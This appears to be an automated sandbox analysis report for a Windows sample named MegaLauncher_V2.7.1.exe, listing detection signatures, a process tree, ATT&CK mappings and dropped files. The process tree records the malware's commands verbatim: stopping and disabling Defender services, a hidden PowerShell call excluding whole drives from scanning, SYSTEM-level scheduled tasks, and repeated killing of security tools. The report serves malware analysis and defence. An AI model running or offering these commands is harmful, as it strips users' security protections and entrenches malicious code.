Overview

overview

10

Static

static

3

MegaLaunch....1.exe

windows10-2004-x64

10

MegaLaunch....1.exe

windows11-21h2-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    30/05/2026, 07:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    MegaLauncher_V2.7.1.exe
  • Size 9.0MB
  • Sample260530-h2b7ysfy21
  • SHA256 4dfd3af7b61e166e581aed97830894f376d0fac903ba414388d11b0b2bf57283
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasionevasionexecutionpersistencepyinstallerspywaretrojan

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 4 IoCs
    persistence
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 4 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Disables Task Manager via registry modification
    defense_evasion
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 10 IoCs
    persistence
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 41 IoCs
  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Windows security modification 2 TTPs 8 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    remove IFEO.

    defense_evasion
  • Modifies WinLogon 2 TTPs 1 IoCs
    persistence
  • Drops file in System32 directory 2 IoCs
  • Launches sc.exe 16 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Kills process with taskkill 64 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies registry class 8 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\MegaLauncher_V2.7.1.exe
    "C:\Users\Admin\AppData\Local\Temp\MegaLauncher_V2.7.1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4396
    • C:\Users\Admin\AppData\Local\Temp\MegaLauncher_V2.7.1.exe
      "C:\Users\Admin\AppData\Local\Temp\MegaLauncher_V2.7.1.exe"
      2⤵
      • Modifies WinLogon for persistence
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • Modifies Windows Defender TamperProtection settings
      • Boot or Logon Autostart Execution: Active Setup
      • Event Triggered Execution: Image File Execution Options Injection
      • Loads dropped DLL
      • Registers new Windows logon scripts automatically executed at logon.
      • Windows security modification
      • Adds Run key to start application
      • Indicator Removal: Clear Persistence
      • Modifies WinLogon
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:3628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Unblock-File -Path \"C:\Users\Admin\AppData\Local\Temp\MegaLauncher_V2.7.1.exe\" -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:968
      • C:\Windows\SYSTEM32\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        PID:1720
      • C:\Windows\SYSTEM32\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        PID:2188
      • C:\Windows\SYSTEM32\sc.exe
        sc stop WdNisSvc
        3⤵
        • Launches sc.exe
        PID:3284
      • C:\Windows\SYSTEM32\sc.exe
        sc config WdNisSvc start= disabled
        3⤵
        • Launches sc.exe
        PID:4836
      • C:\Windows\SYSTEM32\sc.exe
        sc stop WdNisDrv
        3⤵
        • Launches sc.exe
        PID:936
      • C:\Windows\SYSTEM32\sc.exe
        sc config WdNisDrv start= disabled
        3⤵
        • Launches sc.exe
        PID:1052
      • C:\Windows\SYSTEM32\sc.exe
        sc stop WdFilter
        3⤵
        • Launches sc.exe
        PID:4708
      • C:\Windows\SYSTEM32\sc.exe
        sc config WdFilter start= disabled
        3⤵
        • Launches sc.exe
        PID:4816
      • C:\Windows\SYSTEM32\sc.exe
        sc stop WdBoot
        3⤵
        • Launches sc.exe
        PID:4968
      • C:\Windows\SYSTEM32\sc.exe
        sc config WdBoot start= disabled
        3⤵
        • Launches sc.exe
        PID:3176
      • C:\Windows\SYSTEM32\sc.exe
        sc stop Sense
        3⤵
        • Launches sc.exe
        PID:1864
      • C:\Windows\SYSTEM32\sc.exe
        sc config Sense start= disabled
        3⤵
        • Launches sc.exe
        PID:388
      • C:\Windows\SYSTEM32\sc.exe
        sc stop MsSecFlt
        3⤵
        • Launches sc.exe
        PID:4784
      • C:\Windows\SYSTEM32\sc.exe
        sc config MsSecFlt start= disabled
        3⤵
        • Launches sc.exe
        PID:1008
      • C:\Windows\SYSTEM32\sc.exe
        sc stop SecurityHealthService
        3⤵
        • Launches sc.exe
        PID:920
      • C:\Windows\SYSTEM32\sc.exe
        sc config SecurityHealthService start= disabled
        3⤵
        • Launches sc.exe
        PID:640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -SubmitSamplesConsent 2 -MAPSReporting 0 -HighThreatDefaultAction 6 -ModerateThreatDefaultAction 6 -LowThreatDefaultAction 6 -SevereThreatDefaultAction 6; Add-MpPreference -ExclusionPath 'C:\' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'D:\' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4256
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /tn SystemSecurityLock /tr "\"C:\Windows\System32\MegaLauncher_V2.7.1.exe\" --elevated" /sc onlogon /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2164
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /tn SystemSecurityLockBoot /tr "\"C:\Windows\System32\MegaLauncher_V2.7.1.exe\" --elevated" /sc onstart /rl highest /f /ru SYSTEM
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1808
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im explorer.exe
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4772
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im taskmgr.exe
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1520
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im regedit.exe
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5708
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im procexp.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6008
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im procexp64.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5944
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im procmon.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5836
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im procmon64.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1416
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im msconfig.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3808
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im resmon.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:448
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im mmc.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4640
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im perfmon.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2840
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im wscript.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5536
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im cscript.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5756
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im mshta.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4104
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im wmic.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4416
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im regsvr32.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3760
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im MsMpEng.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4624
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im MpCmdRun.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5312
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im NisSrv.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1500
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im SecurityHealthService.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:792
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im SecurityHealthSystray.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1852
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im taskmgr.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5068
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im regedit.exe
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4760
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im procexp.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1488
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im procexp64.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2452
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im procmon.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1148
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im procmon64.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4404
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im msconfig.exe
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5272
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im resmon.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1828
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im mmc.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5296
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im perfmon.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5956
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im wscript.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2480
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im cscript.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:580
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im mshta.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5588
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im wmic.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5992
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im regsvr32.exe
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2140
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im MsMpEng.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2464
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im MpCmdRun.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5584
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im NisSrv.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5872
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im SecurityHealthService.exe
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5856
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im SecurityHealthSystray.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2080
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im taskmgr.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1912
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im regedit.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3232
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im procexp.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3544
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im procexp64.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4892
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im procmon.exe
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3596
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im procmon64.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6068
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im msconfig.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6096
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im resmon.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4944
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im mmc.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1116
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im perfmon.exe
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5072
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im wscript.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4476
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im cscript.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5580
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im mshta.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5756
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im wmic.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2520
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im regsvr32.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2340
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im MsMpEng.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2124
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im MpCmdRun.exe
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:272
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im NisSrv.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1052
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im SecurityHealthService.exe
        3⤵
        • Kills process with taskkill
        PID:1428
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im SecurityHealthSystray.exe
        3⤵
        • Kills process with taskkill
        PID:2660
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /f /im taskmgr.exe
        3⤵
          PID:4292
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im regedit.exe
          3⤵
          • Kills process with taskkill
          PID:388
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im procexp.exe
          3⤵
          • Kills process with taskkill
          PID:4004
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im procexp64.exe
          3⤵
          • Kills process with taskkill
          PID:4596
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im procmon.exe
          3⤵
            PID:2364
          • C:\Windows\SYSTEM32\taskkill.exe
            taskkill /f /im procmon64.exe
            3⤵
            • Kills process with taskkill
            PID:4260
          • C:\Windows\SYSTEM32\taskkill.exe
            taskkill /f /im msconfig.exe
            3⤵
            • Kills process with taskkill
            PID:3516
          • C:\Windows\SYSTEM32\taskkill.exe
            taskkill /f /im resmon.exe
            3⤵
            • Kills process with taskkill
            PID:5248
          • C:\Windows\SYSTEM32\taskkill.exe
            taskkill /f /im mmc.exe
            3⤵
              PID:4816
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im perfmon.exe
              3⤵
              • Kills process with taskkill
              PID:4788
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im wscript.exe
              3⤵
              • Kills process with taskkill
              PID:5804
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im cscript.exe
              3⤵
                PID:2480
              • C:\Windows\SYSTEM32\taskkill.exe
                taskkill /f /im mshta.exe
                3⤵
                • Kills process with taskkill
                PID:2224
              • C:\Windows\SYSTEM32\taskkill.exe
                taskkill /f /im wmic.exe
                3⤵
                  PID:5408
                • C:\Windows\SYSTEM32\taskkill.exe
                  taskkill /f /im regsvr32.exe
                  3⤵
                  • Kills process with taskkill
                  PID:1136
                • C:\Windows\SYSTEM32\taskkill.exe
                  taskkill /f /im MsMpEng.exe
                  3⤵
                  • Kills process with taskkill
                  PID:5416
                • C:\Windows\SYSTEM32\taskkill.exe
                  taskkill /f /im MpCmdRun.exe
                  3⤵
                  • Kills process with taskkill
                  PID:5940
                • C:\Windows\SYSTEM32\taskkill.exe
                  taskkill /f /im NisSrv.exe
                  3⤵
                    PID:5968
                  • C:\Windows\SYSTEM32\taskkill.exe
                    taskkill /f /im SecurityHealthService.exe
                    3⤵
                      PID:5860
                    • C:\Windows\SYSTEM32\taskkill.exe
                      taskkill /f /im SecurityHealthSystray.exe
                      3⤵
                      • Kills process with taskkill
                      PID:6080
                    • C:\Windows\explorer.exe
                      explorer.exe
                      3⤵
                        PID:5660
                      • C:\Windows\SYSTEM32\schtasks.exe
                        schtasks /delete /tn SystemSecurityLock /f
                        3⤵
                          PID:1460
                        • C:\Windows\SYSTEM32\schtasks.exe
                          schtasks /delete /tn SystemSecurityLockBoot /f
                          3⤵
                            PID:1660
                      • C:\Windows\System32\MegaLauncher_V2.7.1.exe
                        "C:\Windows\System32\MegaLauncher_V2.7.1.exe"
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:1748
                        • C:\Windows\System32\MegaLauncher_V2.7.1.exe
                          "C:\Windows\System32\MegaLauncher_V2.7.1.exe"
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of WriteProcessMemory
                          PID:6028
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Unblock-File -Path \"C:\Windows\System32\MegaLauncher_V2.7.1.exe\" -ErrorAction SilentlyContinue"
                            3⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2192
                      • C:\Windows\System32\MegaLauncher_V2.7.1.exe
                        "C:\Windows\System32\MegaLauncher_V2.7.1.exe" --elevated
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:3804
                        • C:\Windows\System32\MegaLauncher_V2.7.1.exe
                          "C:\Windows\System32\MegaLauncher_V2.7.1.exe" --elevated
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of WriteProcessMemory
                          PID:4568
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Unblock-File -Path \"C:\Windows\System32\MegaLauncher_V2.7.1.exe\" -ErrorAction SilentlyContinue"
                            3⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5524
                      • C:\Windows\System32\MegaLauncher_V2.7.1.exe
                        "C:\Windows\System32\MegaLauncher_V2.7.1.exe" --elevated, explorer.exe
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:492
                        • C:\Windows\System32\MegaLauncher_V2.7.1.exe
                          "C:\Windows\System32\MegaLauncher_V2.7.1.exe" --elevated, explorer.exe
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of WriteProcessMemory
                          PID:2920
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Unblock-File -Path \"C:\Windows\System32\MegaLauncher_V2.7.1.exe\" -ErrorAction SilentlyContinue"
                            3⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3124
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                        1⤵
                        • Modifies Internet Explorer settings
                        • Modifies registry class
                        • Suspicious behavior: AddClipboardFormatListener
                        • Suspicious use of SetWindowsHookEx
                        PID:1892
                      • C:\Windows\System32\rundll32.exe
                        C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
                        1⤵
                          PID:1376
                        • C:\Windows\System32\rundll32.exe
                          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
                          1⤵
                            PID:3544

                          Network

                                MITRE ATT&CK Enterprise v16

                                Reconnaissance

                                Resource Development

                                Initial Access

                                Execution

                                Command and Scripting Interpreter

                                1
                                T1059

                                PowerShell

                                1
                                T1059.001

                                Scheduled Task/Job

                                1
                                T1053

                                Scheduled Task

                                1
                                T1053.005

                                System Services

                                2
                                T1569

                                Service Execution

                                2
                                T1569.002

                                Persistence

                                Boot or Logon Autostart Execution

                                4
                                T1547

                                Active Setup

                                1
                                T1547.014

                                Registry Run Keys / Startup Folder

                                1
                                T1547.001

                                Winlogon Helper DLL

                                2
                                T1547.004

                                Boot or Logon Initialization Scripts

                                1
                                T1037

                                Logon Script (Windows)

                                1
                                T1037.001

                                Create or Modify System Process

                                5
                                T1543

                                Windows Service

                                5
                                T1543.003

                                Event Triggered Execution

                                1
                                T1546

                                Image File Execution Options Injection

                                1
                                T1546.012

                                Scheduled Task/Job

                                1
                                T1053

                                Scheduled Task

                                1
                                T1053.005

                                Privilege Escalation

                                Boot or Logon Autostart Execution

                                4
                                T1547

                                Active Setup

                                1
                                T1547.014

                                Registry Run Keys / Startup Folder

                                1
                                T1547.001

                                Winlogon Helper DLL

                                2
                                T1547.004

                                Boot or Logon Initialization Scripts

                                1
                                T1037

                                Logon Script (Windows)

                                1
                                T1037.001

                                Create or Modify System Process

                                5
                                T1543

                                Windows Service

                                5
                                T1543.003

                                Event Triggered Execution

                                1
                                T1546

                                Image File Execution Options Injection

                                1
                                T1546.012

                                Scheduled Task/Job

                                1
                                T1053

                                Scheduled Task

                                1
                                T1053.005

                                Defense Evasion

                                Impair Defenses

                                5
                                T1562

                                Disable or Modify Tools

                                4
                                T1562.001

                                Indicator Removal

                                1
                                T1070

                                Clear Persistence

                                1
                                T1070.009

                                Modify Registry

                                10
                                T1112

                                Credential Access

                                Discovery

                                Query Registry

                                1
                                T1012

                                Lateral Movement

                                Collection

                                Command and Control

                                Exfiltration

                                Impact

                                Service Stop

                                2
                                T1489

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                euc-cn.enc
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI38042\_tcl_data\encoding\euc-cn.enc
                                • Size 84KB
                                • SHA256 1700af47dc012a48cec89cf1dfae6d1d0d2f40ed731eff6ca55296a055a11c00
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                VCRUNTIME140.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\VCRUNTIME140.dll
                                • Size 95KB
                                • SHA256 9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _bz2.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\_bz2.pyd
                                • Size 81KB
                                • SHA256 62173a8fadd4bf4dd71ab89ea718754aa31620244372f0c5bbbae102e641a60e
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _ctypes.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\_ctypes.pyd
                                • Size 120KB
                                • SHA256 1ea3dd3df393fa9b27bf6595be4ac859064cd8ef9908a12378a6021bba1cb177
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _decimal.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\_decimal.pyd
                                • Size 248KB
                                • SHA256 9aac010a424c757c434c460c3c0a6515d7720966ab64bad667539282a17b4133
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _hashlib.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\_hashlib.pyd
                                • Size 63KB
                                • SHA256 caa4d2f8795e9a55e128409cc016e2cc5c694cb026d7058fc561e4dd131ed1c9
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _lzma.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\_lzma.pyd
                                • Size 154KB
                                • SHA256 60793c8592193cfbd00fd3e5263be4315d650ba4f9e4fda9c45a10642fd998be
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _socket.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\_socket.pyd
                                • Size 77KB
                                • SHA256 e6deb751039cd5424a139708475ce83f9c042d43e650765a716cb4a924b07e4f
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _tkinter.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\_tkinter.pyd
                                • Size 64KB
                                • SHA256 06b96357f5dd83d0d8105127e7aaeacb834ddf1ae03fa46aaffdc1e5fd0a7621
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-console-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-console-l1-1-0.dll
                                • Size 22KB
                                • SHA256 4e6270ecc0ce0ee883e5633a3ac37fe04dde56f00f2fea9ebe94d3aefc1268e8
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

